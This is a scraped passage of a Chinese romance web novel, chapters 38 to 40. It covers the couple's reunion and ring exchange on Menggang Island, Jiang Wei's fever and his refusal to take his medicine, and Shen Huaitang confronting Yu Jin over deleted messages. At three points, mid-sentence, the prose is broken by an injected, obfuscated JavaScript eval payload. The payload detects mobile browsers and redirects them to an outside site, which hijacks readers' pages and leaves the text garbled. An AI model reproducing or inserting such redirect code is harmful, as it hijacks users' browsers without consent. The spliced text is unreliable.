原想着说服哥哥需要费一番精力,未想到江墨竟一口答应:“好,想做什么就去做吧,把江家的事业版图扩展到鹤城,专门跟那什么余谨做对家。” 他平静地说,“无论如何,你只要记住,哥哥永远给你兜底。” 江未轻声应道:“谢谢哥。” 犹豫片刻,江墨还是决定多嘴提醒一句:“她现在根本不记得你,你就少在旁边转悠,太过火了,真的像个变态,别到时候要我去警局捞你。” 江未无声地笑笑,泪水顺着眼角流下,声音亦有些哽咽:“知道了,我不会再这样了,慢慢来吧,反正……” 反正,都已经过去四年了。 他不介意继续等待。 只要她回心转意。 38. 有家的流浪狗 山洞外的雨渐渐变小,时不时飘过风浪的海面也重新归于平静。 时隔数年,沈淮棠终于了解事情始末。 江未与她重逢初始,态度谨慎,满口瞎话,其实细究,全都属实,只不过他将时间人物事件全都打乱重排,制造一场又一场的烟雾弹。 而在此之前,除去以公司名义买下沈淮棠小说的游戏版权——当年他可是第一读者,看的还是初稿连载版——他恪守礼仪,没有再打扰过她的生活,甚至一步也未曾踏入过栖居店里。 沈淮棠知晓江未必是委屈,握住他的手,仔细而温柔地摸着他的骨节与每一寸肌肤。 这缓慢的安抚让他的情绪安定下来。 此时,江未忽然说:“对不起。” 沈淮棠知道他的意思,没有回应,只是捏了捏他的手指。 她一时感慨,往事不可追,所幸他们阴差阳错又重逢。以往的她像一颗彗星,一猛子就往江未身上扎,就算短暂地离开,重来一次,仍然逃不开他的引力。 不过,沈淮棠自听闻江未与余谨在栖居门外打了一架,颇觉奇异,默不作声瞥了江未好几眼,心下嘀咕这倒是新奇。 他这从没怎么生过气的人,竟是把天天气人的余谨给揍了——仅距离一墙之隔,她没看到,可真是浪费最佳观赏位。 只是,一想到余谨…… 沈淮棠简直清官难断家务事,一个脑袋两个大,与他相识二十来年,关系紧密,恩怨纠缠,到底要如何斩断这团乱麻? 回去以后,还是得找他谈谈。 江未见她一脸郁闷,便知必是想到余谨这杀千刀的,做这缺德事儿,却偏生对她那样好,凭谁知道都不舒坦。 心里又慷慨激昂地替阿棠骂余谨两句。 待雨停后,他们乘坐小艇回梦港岛。 沈淮棠回到酒店的第一件事,就是洗了一个痛痛快快的热水澡,才将雨水与海水所带来的冷意彻底祛除。 她才刚从浴室出来,房门又被敲响,不出意外江未又跑来了。他见到她的头发还湿着,主动请缨要给她吹头发。 沈淮棠应允,坐在沙发上享受着服务,江未轻轻地捧着她的长发,生怕扯疼她。 两人之间安安静静,江未见她不说话,顺着视线看去,发现她正看着衣柜,便问道:“又要出去吗?” “嗯,这都要走了,还没去教堂呢。”她撑着腮帮子,随意答道,“去看看花田就回来吧,据说已经成为梦港岛旅游的打卡胜地。” 沈淮棠想去,江未自然会陪同。 小教堂地处梦港岛的最高处,随着旅游业发展,已经成为一个热门景点。 除去海边的游乐设施,就属建筑风格最有特点的教堂游客最多,都来拍照打卡,将蓝天白云下的古旧小教堂留在相册里。 尤其是曾经的那片花田,教堂请了专职园丁来打理,如今更是枝繁叶茂。 不过幸运的是,沈淮棠他们抵达教堂时,已经临近关门,因此游客寥寥,并不拥挤嘈杂。 沈淮棠徐徐地走在花田边,看着各色争奇斗艳的花朵,时走时停,久远的记忆碎片如同水面的泡泡一样上浮碎裂。 一阵风吹来,她按住险些被掀起的帽子,遥望远方。 正巧她正走到一扇窗户边,稍一转眼,便能看见教堂内巨大的圣母像,玛利亚的眼神充满悲悯与垂怜。 有一位修女坐在长椅上,慢慢地,一字一句地读着圣经,她的声音低沉醇和,如同深冬流动温暖的热巧克力。 她念:“耶和华对亚伯兰说,你要离开本地、本族、父家,往我所要指示你的地方去……到美好、宽阔、流奶与蜜之地……” 应许之地。* 沈淮棠无声地跟念。 如今人们用应许之地泛指自由幸福的乐土,她觉得她的应许之地就是梦港岛。 当年,她离开熟悉的土地,云姨带她到了一片陌生之中,这是一次自救的过程,却有幸遇见江未,达拉斯,主治医师…… 在他们的帮助下,皱巴巴紧绷绷的沈淮棠被一点点抚平,再次看到自由的颜色。 沈淮棠回到以往睡过无数次的树下,背靠树干坐下,一时又开始神游。 她想起与江未重逢那日奇怪的梦境——午睡时梦见自己死了,葬礼便在这小教堂举行。 而江未风尘仆仆地来到此处,为她带来一束鲜花,竟将她的尸身唤醒。 江未转一圈回来,在她身边坐下,见她发呆,变魔术似的摸出一个小盒子,献宝似的捧到她面前:“当当~第五份礼物。” 沈淮棠被撤回注意力,弯唇笑笑,打开盒盖,里面果然是两枚银戒。 那是江未找手工匠人做的情侣对戒。 时隔五年,终于送到她手上。 她挑出其中一枚,左右翻看,戒指形状流畅漂亮,和她做的比起来,真是一个天一个地,难为江未收藏那么久。 “我当时还是用奖学金买的呢,意义重大。”江未意满志得的笑容像只洋洋得意的小狐狸,歪着脑袋凑上来,啄一口她的鼻尖,学着五年前她说的话,“那你,愿不愿意跟我结婚?” 沈淮棠故作思考片刻,摇摇头拒绝道:“现在不愿意哦。” “啊?!”江未如遭雷击,不管不顾地伸手去捧她的脸,让她直视自己,“为什么?我又有钱,长得还好看,还能提供充足的情绪价值,为什么不跟我结婚?” “我如今可不是刚成年的小女孩儿了,那时候好骗,现在可不行了。” 沈淮棠一本正经地瞥他一眼,“某些人跟我重逢后,嘴里一句真话都没有,我实在没有安全感,所以暂时不考虑结婚哦。” 她嘴上说着冷酷拒绝的话,身体却缓缓贴近江未,在呼吸相闻之间,一瞬不瞬地抬眸凝视他。 江未垂眼,视线从她明亮的瞳孔往下,秀致的鼻梁,再到花瓣似的嘴唇。 他情不自禁说:“你真好看。” 沈淮棠眼睛如月牙,轻盈一笑,在他嘴唇浅浅啄一下:“也很好亲哦。” 他低头吻下来。 那是一个绵长的吻。 江未小心翼翼地触碰,眼泪几欲落下。 沈淮棠抱着他的腰,一只手抚摸着他的脊背,倒有某种安抚的意味。 江未感觉到,她的指腹顺着他的手臂蜿蜒而下,轻轻握住他的手。 而后她将什么东西套进他的无名指间。 他一愣,低头一瞧。 正是那枚她方才把玩的戒指。 沈淮棠见他愣神,伸手抚上他的脸颊,只见那好看的桃花眼里满是破碎的月光,眼尾红得不像话。 她再次亲亲他的嘴唇,轻声说:“我早就说过,结婚和谈恋爱是不一样的,以前直接就跟你说要结婚,实在太亏了。” “现在我改变主意啦,想要体验一下和初恋谈恋爱的感觉,请问,你愿不愿意做我的男朋友呢?” “愿意,当然愿意。” 江未惶然一笑,低首垂眸,托起她的手,珍而重之地将另一枚戒指,戴上她的无名指。而后在她手指、手背与手腕皆印上一吻。 至此,礼成。 这一下可不得了了——有了男朋友的名分,江未就像是有了家的流浪狗,尾巴直接翘上天,挥成螺旋桨。 他亲亲她的手,又亲亲她的脸。 那亲吻不带情欲,只因难以抑制内心的喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850621|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱,又不知如何表达,唯有用这种本能地、纯洁的、停不下来的方式,去亲吻他最珍爱的女孩。 亲着亲着,反倒是沈淮棠觉得不大对劲,他好像有点降智般的反常。 她推开他的脸,伸手摸摸他的额头和脖颈,这才发现皮肤烫得不行,都泛了红。 “好家伙,这是发烧了?” 沈淮棠有些吃惊,仔细一想,这周他一直在连轴转,忙于工作多地奔波,回梦港岛后,又是夜潜又是淋雨,刚才热水澡也不好好洗,那会儿估计已经不舒服了,可听到她要来教堂,还是跟来了。 江未却搂着她的腰不撒手,埋在她的脖颈间,喃喃道:“再让我贴贴……” “你这,烧得神志不清了吧。”沈淮棠摸他脊背都热得出汗,赶紧连哄带骗带他回酒店,让他乖乖在被窝里躺好。 她刚一起身,就被他抓住手臂,可怜巴巴地说:“阿棠不要走。” “不走,我去给你拿药。” 沈淮棠拍拍他的手背,江未这才不情不愿地放开,盯着她走来走去的背影,眼珠左转右转,直到她将热水与药丸拿来,才垂眸吃掉。 她也钻进被子里,伸手抱住滚烫的江未,轻声哄道:“睡觉吧,很快就好了。” 他迟疑片刻,听话地闭上眼睛,坚持五分钟后还是挺不住,转过来抱住她,胡乱的吻落在她脸与脖颈上,低声祈求道: “你能不能就在这里陪我,不要走。” 一片漆黑之中,沈淮棠都能看到他潮红的脸,眼里的深情如同泪水般欲落未落,她轻轻开口,声音在寂静之中显得冷清好听:“好,睡吧。” 她只要存在,只要安静地待在他身边,便能轻柔缓和地将他身体里蠢蠢欲动的燥热安抚平息。 江未已经很累,疲惫至极。 而她的怀中像是久违的港湾,让他沉醉不知归处,很快便卸下防备,昏睡过去。 不知多久,同样陷入沉眠的沈淮棠迷迷糊糊地被热醒,困顿睁眼后,发现她被江未紧紧抱在怀中,简直快要喘不过气。 她有些难受,不经意一抬头,就见江未睁着大眼睛,在黑暗中一瞬不瞬盯着她。 沈淮棠:!!! 她吓一大跳:“你要谋杀我啊?” 江未低头亲她一口:“胡说八道,只要看着你,我就很高兴。” 她叹气,挣扎道:“我又不会跑了。” 江未却将她抱得更紧,念念叨叨:“阿棠,其实这些年,我一直都会梦见你。” 沈淮棠心里一动:“梦见我什么?” “很多都是生活中的琐事,我们像以前一样,去海边,去山坡上,去看落叶,或者一起窝在栖居里,我画画,你看书。” 他的声音断断续续,渐渐染上潮湿,“梦里我好开心,可是醒来,想起见不到你,又会很难过。” 沈淮棠心道,这人平日里铁打的一般,实在难从他嘴里问出几句真话,今儿难得一病,直接倒回二十岁,才勉强透露三两分失去她后的孤独。 她听着他含糊不清地说话,轻声应着,在昏暗中有一下没一下地抚摸着他的后脖颈。就这样,他的气息慢慢平稳,再次缓缓睡着。 沈淮棠长时间地凝视他的睡颜,感受他匀长的呼吸,与滚烫的体温。只是他仍睡得不大安稳,时而皱眉,似在梦魇。 期间他模模糊糊醒来,第一时间就在喃喃喊她的名字:“阿棠,阿棠……” 她握住他的手,回应他的怀抱。 朦胧之中,他看不清她的脸,慌张呢喃:“是你吗……” “是我。”她吻他的额头,“不是梦,是我。” 他安心,又沉沉地坠入梦乡。 39. 不想吃药 由于江未突如其来发烧,他们回鹤城的计划只能暂时后延数日。 在酒店,沈淮棠将照顾病患为己任,他竟然感受到她十分罕见的强势与说一不二——药必须按时吃,觉必须按点睡,食物必须清淡健康。 其他的倒没什么,但对吃药一事,江未抵触非常,堪比历劫。 “好苦,能不能不吃?”他整张脸皱皱巴巴,暗戳戳地将水杯和药丸推远,主打一个眼不见为净。 他打小儿就身子骨结实抗造,活蹦乱跳鲜少生病,再加上见天瞧着病秧子哥哥吃饭喝水似的吃药,潜意识难免产生抗拒。 前些日子就算被车子撞飞,恢复速度也很快,甚至能够提前出院——很难讲不是为了逃避吃药与治疗。 发烧的第一天,江未热得迷迷糊糊,对沈淮棠的话言听计从,完全不知自己如何将那苦药丸咽下去。 待他清醒些,就不愿再吃了。 “不吃药,病怎么好?”沈淮棠又将药推回去,还附加两颗水果糖,“你喜欢的桃子味儿,怎么样?” 然而江未显然不愿意再配合,悄咪咪地攒了点力气,就想溜。 仿佛知道江未的行动路线,沈淮棠不动如山,只稍一抬手,啪的一声往墙面用力一拍,直接将他压回角落沙发。 ——她竟居高临下对他来了个壁咚。 只不过,与偶像剧里的浪漫氛围相差甚远,心虚的江未仰视着沈淮棠清丽动人却面无表情的脸,背后有些发毛。 他眨眨眼,眼珠一转,假意妥协,拾起药丸往嘴里丢,接着垂眸喝了半杯水,作势使劲儿往下咽。 而后,他乖巧抬头:“我要吃糖。” 沈淮棠伸手掐住江未两腮,巧劲儿一捏,他脸一疼,嘴巴被迫张开,舌尖下方露出藏着的药丸。 江未:…… 从开始到抓包都没超过三秒钟。 沈淮棠左眉一扬,审视的眼神扫来。 在照顾病人这一赛道,她曾有非常丰厚的经验,算是半个专业人士。 时间久了,一些技巧几乎刻在她的身体里——如此,江未藏药等狗狗祟祟的行为,根本逃不过她的火眼金睛,直接零帧起手,将此等不利于恢复健康的行为掐灭在摇篮里。 江未还想垂死挣扎,可一对上眼神,立马警铃大作,直觉若是再耍赖,后果或许会更严重。 而沈淮棠从始至终也一个字未说,就这样静静地、凉凉地凝视着他。 江未被那无波无澜的眼神盯得汗毛倒竖,颇有种老鼠见猫之感……真是奇也怪哉,到底在怕什么? 客观地说,她什么都没做,也不可能以瘦削的身材限制得住高大的他——不对,这点还是要打个问号,阿棠毕竟会空手道,之前踹他屁股可疼可疼了。 甚至于这段时间他生病,还享受到了沈淮棠的嘘寒问暖,无微不至的照顾,这可是他以前想也不敢想的事情! 然而,那种照顾是一种温和的掌控,带着如影随形的压迫感,连哄带骗施压一套组合拳,实在让人难以逃脱。 在这一刻,江未和多年前被女儿看守监督吃药治病的沈如风,产生了强烈的精神共鸣…… 江未不合时宜地想起,之前车祸住院时,沈淮棠说要带他去看星星,前提竟然是看到他主治医师签名允许的康复报告。 当时他还以为她怕出远门时,仍在恢复期的他会拖后腿,才确保他身体健康。 如今想来,她对此事确实过激。 或许,她在潜意识里对生病康复这件事情还是有别样的执着,不是对自己,而是对在意的人,比如母亲。 想到这一层,江未的眼神忽然变了。 对啊,这可是沈淮棠,清清淡淡万事皆可的性子,自由如风,甚至有点情感障碍,为何会一改性子,只为强迫他吃药? 小小一事,说明了什么? 说明和妈妈一样,他也是她在意的人! 她爱他! 她心里有他! 轻微的强迫只是她表达在乎与爱意的其中一种方式,一种习惯,一种应激反应,他怎能辜负? 江未心里掀起惊涛骇浪,面色却不显,只是抬眼仔仔细细地端详她的容颜与眼眸,怎么看都觉得,她肯定是因为担心他才这样着急—— 要不然,她怎么就管他,不管别人啊? 那肯定是因为很爱他。 他忽而动容,赶紧将那药丸一口气吃掉,还莫名其妙尝出甜蜜蜜的滋味。 眼见着江未这番迅速的变脸,沈淮棠都以为他又想整什么幺蛾子,狐疑地扫上扫下检查一番,才确定他这回是真的乖了。 如此,她也松口气,浑身冷凝的气势渐渐散去,亲手将那颗糖剥开送入他嘴里,哄道:“乖乖,吃糖吧。” 江未仍淘气,轻轻一咬她的手指,见她些微吃痛,又露出灿若夏阳的笑,那病中还如此漂亮的容颜,让她实在无法苛责。 他还要得寸进尺:“阿棠,你刚才好凶,我看了可害怕。” 沈淮棠冤枉得不明所以:“我可一句话都没说。” “眼神很可怕。”他描述道,“感觉我要不吞这丸子,你就会把我做成丸子。” 她笑了:“那你是什么?肉丸子?” “是啊,我原本就健步如飞身强体壮的,放在食材里也是走地鸡、享受按摩的猪,或是听音乐的牛这个级别。” 他信口胡说还说来劲了,沾沾自喜道,“再加上生活的捶打,使我肉质Q弹紧致,品质上佳。” 沈淮棠往他嘴里塞另一颗糖,懒得听那絮絮叨叨的地狱笑话。 接下来数日,江未对吃药一事出奇配合,连带着沈淮棠也松懈不少,没有最开始那种一根弦紧绷着的感觉了。 她也会劝自己,不过小事。 离开梦港岛之前,沈淮棠和江未去见之前主治医师和安东尼一面,承诺小朋友下次来的时候会给他带礼物。 最后道别的是达拉斯。 达拉斯庞大年迈的身体伫立在栖居门口,金色的年轻的朝阳静静洒在他花白的头发上。 他如以往般,笑眯眯地朝他们摆摆手,就像是两个少年只是短暂地出门游玩,等精疲力尽后回到栖居,仍能喝到一锅热乎乎的蘑菇汤,听他絮叨星星的诗句。 沈淮棠忽觉极为不舍,调头回身,抱住达拉斯落下泪来:“我会想你的。” 达拉斯的怀里有洁净清淡的皂角味,他拍拍她的脊背,粗粝的手抚摸她的长发,又抹去她滚烫的眼泪,慈和地祝福:“上帝保佑你,健康快乐。” 梦港岛,这座神奇的岛屿。 沈淮棠在此处经历失忆与回溯,尝尽悲欢离合,其中跌宕起伏难以赘述。可数年过去,岛屿仍屹立在此,日复一日潮起潮落, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850622|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 永不停息。 在离开的船艇,她回望这座海洋中的珍珠,百感交集。 正出神时,天空竟飘起太阳雨,细细密密的雨滴打在玻璃窗上,泛起雾气。 沈淮棠用手指戳戳,在模糊处画了个小小的笑脸,“我要回家啦”,她无声地说。 历经航行,飞机抵达鹤城。 下机之前江未就给沈淮棠裹上一件厚厚的外套,哪怕如此,当她接触到毫不留情的冷空气时,还是差点原地冻死。 虽然提前看过气温,然而她这段时间在梦港岛这安逸恒温的舒适地儿呆习惯了,此时直面跳崖式骤降的温度,多少有些猝不及防。 江未握着她的手,焐热片刻,一同揣进他大衣的口袋里十指紧扣。 她靠在他怀里,抬头说:“你不是还有事情要去公司吗?小杨已经在停车场等你了吧?” 他含糊地说:“不着急,再陪你一会儿,冷不冷?给你买杯巧克力?” 沈淮棠见他防贼似的寸步不离,也不戳穿,因为余慈早就打过招呼,今日要和余谨一同来接机。 未久,她接到电话,回眸便看到人群中闪闪发光的兄妹俩。 余谨似是刚下班过来,还穿着一丝不苟的西服,身长玉立地站着,冷冷的眼神望向他们。 余慈则是兴高采烈地大幅度摇晃手臂,跑来后扑进她怀里来了个结结实实的爱的抱抱,将特地带来的大围巾将她裹得严严实实。 等四人面对面站着,沈淮棠言简意赅地向江未介绍余慈:“这是我妹妹。” 她又看一眼余谨,“另一位就不用介绍了吧,你们老相识。” 江未和余谨常年相看两厌,视线一相触便弹开,满脸都写着不对付。 而本该作为桥梁的沈淮棠却完全不想管这件事情,兀自旋开余慈的保温杯,抿一口热水,整个人都舒服了。 余慈敏感地觉得这气氛不对劲,但不知具体哪儿不对劲,她左看看右看看,决定勇敢地打破这僵硬的气氛。 刚才她就看见姐姐和江未亲密无间,想必这趟旅程已经关系进展一大步,于是对江未展颜一笑:“小江总,未来姐夫,一会儿跟我们一起吃火锅呀?” 好一句“姐夫”! 这称呼直接让江未浑身舒爽通天,见到余谨的不快一扫而光,眉间悦色与唇角都难压,连带着看余谨的眼神都和善可亲起来——他倒是直接把“未来”俩字屏蔽了。 江未跟开屏的孔雀似的,按捺不住地摆出胜利者的姿态,露出他最熟练的社交场合的完美笑容,温和礼貌地对余慈说: “本来就是阿棠和家中兄妹吃饭,我非要去就不合适了,以后有机会我做东,还请余小姐务必要赏脸。” 甭管是不是随意客气,余慈自然不会让这话掉地上,她仍笑眯眯:“小江总客气啦,以后也是一家人,怎么说两家话?” 江未听罢更是笑容满面,很是赞许余慈的上道儿,比她亲哥是可爱多了,若非手机铃声响起,他怕是还要和余慈再聊上两句。 他低头看看屏幕,转而对沈淮棠说:“我先走了,你玩儿得开心,吃完了给我发信息。” “记得吃饭。”沈淮棠叮嘱道,“病才好,别太辛苦了。” 江未应声,虚虚搂住她,垂首在她光洁的额头印上一吻,而后心情极好地在余谨阴冷的快要杀人的目光中大步离去。 40. 没有如果 沈淮棠摇头暗笑江未幼稚,却也随他去了。 不过才转眸,便见余谨咬牙切齿地教训余慈:“你倒是会拍马屁,八字还没一撇呢,就叫上姐夫了?” 余慈同她哥吵惯了,瞥他一眼,理直气壮地顶回去:“瞎子都看得出来,姐姐喜欢小江总好不好?” “胡说八道,少给他脸上贴金。”他半分不让,横眉冷对,“以后不准这么叫了。” 沈淮棠不想看余谨拿余慈开涮,而且心里本就对他有气,于是干脆挽过余慈的胳膊,直接抬步朝停车场走去。 余慈转头对哥哥做鬼脸,而后亲昵地和姐姐贴贴:“姐,我都好久没去梦港岛了,那里还跟以前一样吗?你跟我说说呗。” 余谨亦步亦趋地跟在她们身后,看着沈淮棠的背影,微微皱眉。 餐厅包厢内,兄妹三人围坐一桌,气氛却不如往日和睦,余慈察觉不对,哥哥姐姐见面到现在,竟然没有说过一句话。 不过她倒也不慌,肯定是哥哥这个烦人精又做什么事情让姐姐不高兴了,十分钟之内他必会开口道歉。 这种情况,成长路上可发生太多次了。 “淮棠。” 果不其然,在锅都还没有沸腾的时候,余谨就开口了。 沈淮棠正在搅拌酱料,听到唤她,却是连头都没有抬。 “上次是我不好,抱歉,我没有恶意,只是想给你一些建议而已。”他语气平静而诚恳,“别跟我怄气,好吗?我尊重你的选择,不会再干涉你挑选礼物,你想要什么,我就买给你。” 余慈一听这话,当即就明白发生什么事儿,啧啧摇头后批评哥哥道: “我早说了姐姐不会喜欢你选的车,非要去撞这南墙干什么?让姐姐生气,你能有什么好果子吃?” 她又转头对沈淮棠说:“姐,不能这么饶了他,生日礼物得要双份的,可别替他省钱了。” 沈淮棠并未搭腔,微微垂首,百无聊赖地将筷子放下,陷入漫长的沉默。 余慈见状,都有些拿不准情况。 这次的事情好像与往日不同,姐姐看上去并不是生气或愤怒,而是彻底的失望。 连带着余慈都有些小心翼翼地碰一碰沈淮棠的胳膊,轻声说:“姐姐。” 沈淮棠忽然开口:“余谨,我就问你一件事情。” 余谨抬眸:“什么事?” 沈淮棠单刀直入:“我旧手机是自己坏掉的,还是你弄坏的?” 余谨冷笑:“你就算与他和好,也不至于怀疑我的人品吧?” 她颔首:“既然如此,你是否知道那天江未给我发信息,说会迟些回来?” 余谨回答:“进屋给你换毛巾时,确实见到你手机锁屏显示有新信息,不过只言片语,而且屏幕闪烁不清,等我照顾完你,想拿起手机看时,已经黑屏坏掉。” “请你直接回答我的问题。” “只是有他迟回的猜测,但并不确定。” “那为什么不阻止我去灯塔?” 余谨轻笑,似乎听到荒谬的问题:“以你当时的状态,我怎么阻止得了?” 余慈脑子转到现在才终于听明白他们在说什么事情,震惊地半张着嘴,后知后觉地愤怒起来: “可你如果阻止她,她就不会从楼梯摔落,不会失忆,不会住院受那么多苦。” 她想起沈淮棠受过的罪,心如刀割,使劲儿推了他胳膊,无法控制地越来越大声,“你脑子坏了?为什么不说?就算没法儿预知她摔下楼梯,你就眼睁睁看着她在灯塔空等一晚上?!” 余慈不解气,更是用力锤他,余谨没躲,硬生生挨全了妹妹的拳头。 他轻声说:“那你想没想过?在她跌落楼梯后,能那么快被发现送去医院——那灯塔都废弃多少年?” 沈淮棠眉心一跳。 “我不放心你,跟在你后面,在灯塔下等了一夜。”他眉头紧蹙看向沈淮棠,声音却沉稳,“所以我知道他没有来,却也没想到,你会出意外。” 越是听到余谨对她的好,她心里就越煎熬,那些情绪淋淋漓漓,爱也爱不得,恨也不彻底。 “所以我失忆后,你就顺水推舟将我手机里与江未有关的所有东西都删除,还假冒我给他说了分手?” 余慈彻底不淡定了,像个吃到迟到已久惊天巨瓜的猹,眼睛瞪得像铜铃,耳朵竖得像天线,认认真真匍匐在桌沿,等着下一句惊世骇俗的质问。 然而,沈淮棠不再说话,视线落在余谨身上,似乎在等待他给出一个能解释得过去的答复。 可从她问出这个问题开始,余谨震颤一瞬,紧接着陷入了漫长的沉默。他低着头,神色晦暗不清,不知在想什么。 一时间,空气中只有火锅咕噜噜冒泡的声音,锅终于开了。 但这个时候,谁还有心情吃饭呢? 半晌,余谨终于长长地呼出一口气,眼神平静地看向她:“江未告诉你了?” 沈淮棠坦然与他对视:“我的记忆也恢复得七七八八了,想知道并不难。” “余谨,问你话呢。”余慈比沈淮棠还着急,大声问道,“你为什么要这样做?” 为什么要这样做? 刚才沈淮棠也问过这个问题。 而她明明知道答案。 在一片沉默之中,愤怒的余慈也慢慢回过味儿来,想到此处。 可看到他落寞的身形,更是气不打一处来,只能恨铁不成钢地骂他:“余谨!你真是,你真是……” 她简直找不到一个合适的形容词去描述当下槽多无口的心情。 “我出去一下。”余谨似乎也不知该说什么,干脆站起身来,大步流星地走出包间,应该是去整理心情。 沈淮棠抿一口茶,安抚妹妹道:“别生气,事情都已经过去。” 余慈泫然欲泣:“姐姐……” “我知道你心疼我。”沈淮棠轻轻捏一捏她的手心,“今天挑明,不是要找他算账,只是想告诉他,我知道这件事情了。” “现在说开,对大家都好。”她叹口气,“总好过以后难相处,我心存芥蒂,他心有愧疚。” 她与余慈挨在一起,温声软语将妹妹哄好后,下意识看一眼紧闭的包厢门,余谨还没回来。 于是她站起身:“我出去看一看。 余慈有些担心地拉住她,她却摸摸她的脑袋:“没事,很快就回来。” 沈淮棠出了包厢门,在走廊尽头的吸烟处找到了余谨。 他抱着胳膊半倚在墙上,看着天花板上淡色的花纹静静出神,手指间夹着一根燃烧大半的烟头,却没有抽,只放着燃烧。 缭绕缥缈的烟雾将他的表情氤氲得更加模糊不清。 余谨听到沈淮棠的脚步声,蓦然偏首,与她对视,下意识用食指与大拇指一掐,匆匆忙忙将烟灭了。 她在距离他一段距离的位置停下,在他的注视中静默片刻,视线掠过他企图往身后藏的手指,平静地问:“疼不疼?” “不疼。”余谨松口气,撇开目光,转身将烟头按入烟灰缸。 “是因为结痂了?”沈淮棠记得他以往只在应酬场合用些烟酒,并不嗜求,而刚才却分明看见,他指腹侧沿有褐色痕迹。 这一掐烟,又添新伤。 “没关系。”余谨答非所问,将话题转回她身上,“怎么出来了?” “你说呢?”沈淮棠也倚靠在墙面,与他并肩,“谈着事儿,有人做逃兵。” “你又何必要在这种场合问?”他的神情淡淡的,看不出情绪,“你的记忆既然已经恢复,那些问题的答案,你怎会不知呢?难道,真想听我亲口说出来?” 沈淮棠却摇摇头:“我有多了解你,你就有多了解我,你明明知道,我的意思就是——既有第三个人,且是我们的家人知晓,你就该适可而止,将这事情扼杀在摇篮,不要再往前行了。” 回应她的,是余谨漫长的沉默,铜墙铁壁般难以侵入。 “对,我知道。” 他有些艰涩地开口,“但是,为什么?” 她看向他,眼神平静:“我是在给你一个选择,和我决裂,或是继续做家人。我倾向于后者,年夜饭桌上装陌生人,实在难堪。” 余谨扯扯唇角:“你这样选,是否对我太残忍?” “是你应得的。”沈淮棠的声音依然冷静,像是无情的宣判机器,“在当年你做出对我不利的选择时,就该想好要承受这份后果。” “不利的选择……”余谨琢磨着她的字句,自嘲一笑,“亏我还自认为,这是在为你好——我知道,又是我自以为是又自作多情了。” 他深深深呼吸,“你说得对,这是我应得的,提心吊胆五年,好过你直接审判我。” “不管你有任何情绪,都不是伤害我的理由——虽然,你难以预料会有如此严重的后果,若我没猜错,你后悔的事情仅仅是无意间的隐瞒竟害我滚落楼梯,而非后续的删除手机信息等事情吧?” 沈淮棠凝视着他哀伤的眼睛,不徐不疾地说,“说实话,我很失望,也很伤心,现在能与你平和稳定地说话,已经耗费完我所有的能量与耐心。” “事情已经发生,无可挽回,你又悉心照顾我五年,在我身上花费无数金钱精力,若要细数,其中恩怨实在讲不清。” 她轻轻叹气,垂下眸子,声音也凝滞住,“我想与你一刀两断——” 这话一出,余谨的呼吸都暂停一瞬。 “可仔细思考过后,仍然惦念旧日一起长大的情分。”沈淮棠说,微妙的情绪在彼此之间流转,萦萦潺潺,不绝如缕,最终被她举重若轻地截止,“就这样吧,到这里就可以了,别要再近了。” 余谨眼神沉沉,迟疑地开口:“如果……” 沈淮棠冰冷地截断他的话音:“没有如果。” 无论是曾经他未曾说出口的绵绵情绪,还是那让她宛若重生的伤害,都已经发生,不再有任何如果。 他们对视,都明白彼此的言下之意。 正如沈淮棠所说,他们非常了解对方。 “真是没想到……”余谨苦笑说,“这是五年来,你一口气对我说的最多的话,竟然是让我别再要靠近你。” “回去吧。”沈淮棠显然不欲再就此事深谈,直起身子来,“不要留阿慈一个人在包厢太久了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850623|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 她不再看他,径自往包厢的方向走去。 他忽然喊住她:“淮棠。” 她闻言,停住脚步,却没有回头。 “抱歉,很抱歉。”他感到喉咙哽住一团抱火的砂砾,“让你受苦了。” 沈淮棠微微侧过半张脸,最后什么也没有说,重新迈开脚步,往前走去。 余谨站在原地,看着她离去的背影。 纤长的身形,单薄的肩,笃定的步伐,都是他所熟悉的沈淮棠。 而他知道,这一回,她虽然说了不要断联,却是真的要离他而去了。 他彻底失去她了。 沈淮棠总是抱怨他管得太宽,事实上他也痛恨这一点,实在与父亲过于相似。 而当他真正做出类同的事情时,才后知后觉地意识到,原来他的控制,竟是源于无穷无尽吞噬他的恐惧。 他恐惧的事情太多。 比如,害怕她发现他卑鄙的行为,与难以说出口的感情。 被父亲强控制的小半辈子过来,他的人生像尺子,像树木,也像窗棱,被规划安排,井然有序。 他只需要坚定理智地执行便足够。 而他也一直是这么做的。 沈淮棠像是窗棱上一道细小的切口,不知不觉就漏进一段儿细细密密的雨来。 与余慈不同,沈淮棠从小就情绪稳定平静,处变不惊。除了母亲,她什么都不在乎,所以她不容易生气,也不容易讨好。 